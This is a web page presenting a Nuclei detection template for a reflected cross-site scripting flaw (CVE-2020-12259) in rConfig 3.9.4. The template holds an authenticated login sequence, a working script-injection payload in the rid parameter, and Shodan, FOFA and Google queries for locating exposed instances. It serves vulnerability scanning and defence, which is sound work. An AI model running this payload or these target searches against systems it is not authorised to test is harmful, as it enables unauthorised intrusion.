rConfig 3.9.4 - Cross-Site Scripting

ID: CVE-2020-12259

Severity: medium

Author: r3Y3r53

Tags: cve2020,cve,rconfig,authenticated,xss

Description

rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php

YAML Source

id: CVE-2020-12259

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    rConfig 3.9.4 is vulnerable to reflected XSS. The configDevice.php file improperly validates user input. An attacker can exploit this vulnerability by crafting arbitrary JavaScript in the rid GET parameter of devicemgmnt.php
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12259
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12259
    cwe-id: CWE-79
    epss-score: 0.16256
    epss-percentile: 0.95985
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve2020,cve,rconfig,authenticated,xss

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /configDevice.php?rid="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and
# digest: 490a00463044022010b40b1a1c158be6bdb9be768f349f48892d2c2046ccf2769dc23ae48c03fffb02204b10daa5de6fbe3b9b4100fcd21be3b29cc7c0ec60bdb6f27487a7bc1f6f44b2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-12259.yaml"

View on Github